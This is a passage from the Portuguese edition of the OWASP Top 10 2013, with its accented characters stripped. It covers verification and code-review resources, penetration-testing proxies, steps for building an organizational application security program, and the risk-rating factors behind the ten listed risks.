verificao podem melhorar a eficincia e a eficcia de um analista experiente. As ferramentas de verificao do OWASP so
focadas em ajudar o especialista a ser mais eficaz, ao invs de simplesmente automatizar o processo de anlise.

Padronizando o Processo de Verificao da Segurana em Aplicaes Web: Para ajudar as organizaes a desenvolver
consistncia e um nvel definido de rigor ao avaliar a segurana de aplicaes web, OWASP criou o Padro de Verificao de
Segurana de Aplicaes (ASVS). Este documento define um padro mnimo de verificao para testar a segurana de aplicaes
web. OWASP recomenda usar o ASVS no apenas para saber o que procurar quando for verificar a segurana da aplicao, mas
tambm para saber quais tcnicas so mais apropriadas, e para ajudar a definir e selecionar o nvel de rigor dessa verificao. O
OWASP tambm recomenda usar o ASVS para ajudar a definir e selecionar os tipos de servios de verificao de terceiros, se for
contratar este servio.

Conjunto de Ferramentas de Verificao: O Projeto OWASP Live CD compilou algumas das melhores ferramentas abertas de
segurana em um ambiente nico ou em uma mquina virtual (VM). Desenvolvedores web, responsveis pelos testes e
profissionais de segurana podem dar partida no seu sistema usando o CD ou executando a mquina virtual para acessar um
conjunto completo de testes de segurana. No necessrio instalar ou configurar nada para usar as ferramentas do CD.

Reviso de Cdigo Segurana e Teste de Invaso

A reviso do cdigo fonte particularmente til para verificar se
os mecanismos de segurana da aplicao so robustos, assim
como para encontrar problemas difceis de identificar
simplesmente examinando os resultados da aplicao. Testar a
aplicao particularmente til para provar que as falhas so de
fato explorveis. Esses mtodos so complementares e at
redundantes em algumas reas.
Revisando o Cdigo: Para acompanhar o Guia do Desenvolvedor
OWASP e o Guia de Teste OWASP, o OWASP criou o Guia de
Reviso de Cdigo OWASP para ajudar os desenvolvedores e os
especialistas em segurana de aplicaes a entender como
revisar uma aplicao web eficientemente e de maneira eficaz.
Inmeros problemas de segurana em aplicaes web, tais
como Falhas de Injeo, podem ser mais fceis de detectar
atravs da reviso do cdigo do que por testes externos.
Ferramentas para Reviso de Cdigo: OWASP tem feito um
trabalho promissor de ajuda aos especialistas na anlise de
cdigo, mas essas ferramentas esto ainda em fase inicial. Os
autores das ferramentas usam as mesmas diariamente, mas
no-especialistas podem ach-las difceis de usar. Entre estas
ferramentas esto CodeCrawler, Orizon e O2. Somente a O2
est em desenvolvimento ativo desde a ltima verso dos Top
10 de 2010.
Existem outras ferramentas abertas para reviso de cdigo. A
mais promissora delas a FindBugs, e seu novo plug-in voltado
a segurana: FindSecurityBugs, ambos para Java.
Testando a Aplicao: OWASP criou o Guia de Testes para
ajudar desenvolvedores, responsveis por testes e
especialistas em segurana de aplicaes a testar a
segurana de aplicaes web eficientemente e de maneira
eficaz. Esse guia enorme, elaborado por dezenas de
contribuintes, apresenta uma cobertura extensa em muitos
tpicos de testes de segurana para aplicaes web. Da
mesma forma que a reviso de cdigo tem seus pontos
fortes, os testes de segurana tambm tem suas vantagens.
bastante convincente quando se consegue provar que a
aplicao insegura mostrando a explorao da
vulnerabilidade. Existem muitos outros problemas ,
particularmente a segurana da infraestrutura da aplicao,
que no podem ser vistos simplesmente com uma reviso
de cdigo, j que a aplicao no prov segurana por si
prpria.
Ferramentas para Testes de Invaso: WebScarab, que foi
um dos projetos OWASP mais usados, e a nova ZAP, que
agora ainda mais popular, so ambas proxies de testes de
aplicaes web. Essas ferramentas permitem que analistas
de segurana e desenvolvedores interceptem pedidos s
aplicaes web, de modo a entender como a aplicao
trabalha, e submeter pedidos de teste para verificar se a
aplicao responde de maneira segura aos testes. Essas
ferramentas so particularmente eficazes em ajudar a
identificar falhas de XSS , Autenticao e Controle de
Acesso. ZAP tem at um scanner ativo embutido e, melhor
ainda, GRTIS!
 Prximos Passos para
+O Organizaes
Comece Agora seu Programa de Segurana de Aplicaes
Segurana de Aplicaes no mais opcional. Ataques cada vez mais frequentes e presso para seguir a regulamentao exigem
que as organizaes estabeleam um programa efetivo de segurana das aplicaes. Dado o grande nmero de aplicaes e
linhas de cdigo que j esto em produo, muitas organizaes esto tendo dificuldades em controlar o nmero elevado de
vulnerabilidades. OWASP recomenda que as organizaes estabeleam um programa de segurana de aplicaes para ganhar
viso e melhorar a segurana dos seus portfolios de aplicaes. Obter segurana de aplicaes requer que vrias partes da
organizao trabalhem juntas e de maneira eficiente, incluindo segurana e auditoria, desenvolvimento de software, gerncias e
liderana executiva. necessrio que a segurana seja visvel, para que todos os envolvidos possam entender a postura da
organizao em relao segurana de aplicaes. preciso tambm focalizar em atividades e resultados que realmente ajudem
a melhorar a segurana da corporao atravs da reduo do risco com um bom custo/beneficio. Algumas das atividades chave
de um programa eficaz para a segurana de aplicaes incluem:

Estabelecer um programa de segurana de aplicaes e estimular sua adoo.

Conduzir uma anlise de diferenas de capacitao, comparando sua organizao com outras
Iniciando semelhantes, definindo reas chave para melhorias e um plano de execuo.
Obter aprovao da liderana e estabelecer uma campanha de conscientizao em segurana de
aplicaes para toda a organizao de TI.

Identificar e estabelecer prioridades no portfolio de aplicaes usando uma perspectiva de risco.

Abordagem Criar um modelo de avaliao de risco em aplicaes para medir e priorizar as aplicaes do portfolio.
de Portfolio
Baseada em Estabelecer diretrizes de segurana com o fim de definir a cobertura e o nvel de rigor necessrios.
Risco Estabelecer um modelo comum de classificao de riscos aliado a um conjunto consistente de fatores
de impacto e probabilidade que reflitam a tolerncia de risco da organizao.

Estabelecer um conjunto de politicas e normas que sejam uma base para segurana de aplicaes a
Ativar com ser seguida por todas as equipes de desenvolvimento.
uma Definir um conjunto comum de controles de segurana reutilizveis que complementem as polticas e
fundao normas, contendo orientaes de uso para as fases de projeto e desenvolvimento.
slida Estabelecer um currculo de formao em segurana de aplicaes obrigatrio e direcionado s
diversas funes de desenvolvimento e tpicos existentes.

Integrar Definir e integrar implementaes de segurana e atividades de verificao nos processos de

Segurana desenvolvimento e operao existentes. As atividades incluem Modelagem de Ameaas, Projeto
aos Seguro e Reviso, Codificao e Reviso de Cdigo com Segurana, Testes de Invaso, e Correo.
Processos Oferecer especialistas e servios de suporte para as equipes de desenvolvimento e projeto para obter
Existentes xito nos processos.

Gerenciar usando mtricas. Efetuar melhorias e decises de investimento baseadas nas mtricas e
anlises dos dados capturados. Mtricas incluem aderncia s atividades e prticas seguras,
Oferecer vulnerabilidades introduzidas, vulnerabilidades mitigadas, abrangncia da aplicao, densidade de
Visibilidade defeitos por contagem de tipo e instncia, etc.
para a
Analisar dados das atividades de implementao e verificao procurando por causas raiz e padres
Gerncia
de vulnerabilidade com o fim de conduzir as melhorias estratgica e sistematicamente em toda a
empresa.
 +R Notas Sobre Riscos
Isso Sobre Riscos, No Sobre Vulnerabilidades
Embora as verses do OWASP Top 10 de 2007 e anteriores, fossem focadas em identificar as "vulnerabilidades" mais comuns, o OWASP
Top 10 sempre foi organizado em torno de riscos. Isto tem causado alguma confuso compreensvel por parte das pessoas em busca de
uma taxonomia estanque de vulnerabilidades. O OWASP Top 10 de 2010, esclareceu o foco de risco no Top 10 por ser muito explcito
sobre como agentes de ameaa, vetores de ataque, vulnerabilidades, impactos tcnicos e no negcio se combinavam para produzir
riscos. Esta verso do OWASP Top 10 segue a mesma metodologia.

A metodologia de Classificao de Risco para o Top 10 baseado no OWASP Risk Rating Methodology. Para cada item Top 10, estimou-
se o risco tpico que cada vulnerabilidade introduz em uma aplicao web tpica verificando fatores comuns de probabilidade e fatores
de impacto para cada vulnerabilidade comum. Em seguida, classificamos de forma ordenada o Top 10 de acordo com as
vulnerabilidades que normalmente apresentam o risco mais significativo para uma aplicao.

A OWASP Risk Rating Methodology define inmeros fatores para ajudar a calcular o risco de uma vulnerabilidade identificada. No
entanto, o Top 10 deve falar sobre generalidades, ao invs de vulnerabilidades especficas em aplicaes reais. Consequentemente, no
podemos ser to exatos quanto os proprietrios do sistema podem ser quando calculam os riscos para sua aplicao. Voc est melhor
equipado para julgar a importncia de suas aplicaes e dados, quais so seus agentes de ameaa, e como o sistema foi desenvolvido e
est sendo operado.

Nossa metodologia inclui trs fatores de probabilidade para cada vulnerabilidade (prevalncia, deteco e facilidade de explorao) e
um fator de impacto (impacto tcnico). A prevalncia de uma vulnerabilidade um fator que normalmente voc no tem que calcular.
Para os dados de prevalncia, foram fornecidas estatsticas a partir de um certo nmero de diferentes organizaes (como referenciado
na seo Agradecimentos na pgina 3) e temos uma mdia de seus dados em conjunto para chegar a uma lista Top 10 da probabilidade
de existncia por prevalncia. Estes dados foram ento combinados com os dois outros fatores de probabilidade (deteco e facilidade
de explorao) para calcular uma classificao de probabilidade para cada vulnerabilidade. Este valor foi ento multiplicado pelo nosso
impacto tcnico mdio estimado para cada item para chegar a uma classificao de risco global do Top 10.

Observe que esta abordagem no leva em conta a probabilidade do agente de ameaa. Nem responde por qualquer um dos vrios
detalhes tcnicos associados sua aplicao especfica. Qualquer um desses fatores poderia afetar significativamente a probabilidade
global de um atacante encontrar e explorar uma vulnerabilidade particular. Esta classificao tambm no leva em conta o impacto real
sobre o seu negcio. Sua organizao ter de decidir qual o grau de risco de segurana das aplicaes est disposta a aceitar dada a sua
cultura, indstria e ambiente regulatrio. O objetivo do OWASP Top 10 no fazer a anlise de risco para voc.

A figura seguinte ilustra o nosso clculo do risco para A3: Cross-Site Scripting, como um exemplo. XSS to comum que justifica o nico
"muito difundido", valor 0 de prevalncia. Todos os outros riscos variaram de generalizada a rara (valor de 1 a 3).

Vetores Vulnerabilidades Impactos Impactos

de Ataque de Segurana Tcnicos no Negcio
Agentes de Ameaa

Especfico do
Especfico da Explorao Prevalncia Deteco Impacto
Negcio/
Aplicao MDIA MUITO DIFUNDIDA FCIL MODERADO
Aplicao

2 0 1 2

1 * 2

2
 +F Detalhes Sobre Fatores de Risco
Top 10 Sumrio de Fator de Risco
A tabela a seguir apresenta um resumo dos Top 10 2013 de Riscos de Segurana em Aplicaes e os fatores de risco que foram
atribudos a cada risco. Esses fatores foram determinados com base nas estatsticas disponveis e na experincia da equipe
OWASP Top 10. Para compreender esses riscos em uma aplicao ou organizao em particular, voc deve considerar seus
prprios agentes de ameaa e impactos no negcio. Mesmo falhas flagrantes de software podem no representar um risco srio
se no houver agentes de ameaa em uma posio de realizar o ataque necessrio, ou o impacto no negcio insignificante para
os ativos envolvidos.

Vetores de Vulnerabilidades Impactos

RISCO Ataque de Segurana
Impactos
Tcnicos no Negcio
Agentes de
Ameaa
Explorao Prevalncia Deteco Impacto

A1-Injeo Especfico Apl. FCIL COMUM MDIA SEVERO Especfico Apl.

A2-Autenticao Especfico Apl. MDIA GENERALIZADA MDIA SEVERO Especfico Apl.

A3-XSS Especfico Apl. MDIA MUITO DIFUNDIDA FCIL MODERADO Especfico Apl.

A4-Ref. Insegura Especfico Apl. FCIL COMUM FCIL MODERADO Especfico Apl.

A5-Conf. Incorreta Especfico Apl. FCIL COMUM FCIL MODERADO Especfico Apl.

A6-Exp. de Dados Especfico Apl. DIFCIL RARA MDIA SEVERO Especfico Apl.

A7-Cont. Acesso Especfico Apl. FCIL COMUM MDIA MODERADO Especfico Apl.

A8-CSRF Especfico Apl. MDIA COMUM FCIL MODERADO Especfico Apl.

A9-Comp. Vulner. Especfico Apl. MDIA GENERALIZADA DIFCIL MODERADO Especfico Apl.

A10-Redirecion. Especfico Apl. MDIA RARA FCIL MODERADO Especfico Apl.

Riscos Adicionais a Considerar

O Top 10 cobre um terreno bem amplo, mas h muitos outros riscos que voc deve considerar e avaliar em sua organizao. Alguns destes
estavam presentes nas verses anteriores do Top 10, e outros no, incluindo novas tcnicas de ataque que so identificadas a todo momento.
Outros importantes riscos de segurana em aplicaes (em ordem alfabtica) que voc deve considerar incluem:
Clickjacking
Concurrency Flaws
Denial of Service (Was 2004 Top 10 Entry 2004-A9)
Expression Language Injection (CWE-917)
Information Leakage and Improper Error Handling (Was part of 2007 Top 10 Entry 2007-A6)
Insufficient Anti-automation (CWE-799)
Insufficient Logging and Accountability (Related to 2007 Top 10 Entry 2007-A6)
Lack of Intrusion Detection and Response
Malicious File Execution (Was 2007 Top 10 Entry 2007-A3)
Mass Assignment (CWE-915)
User Privacy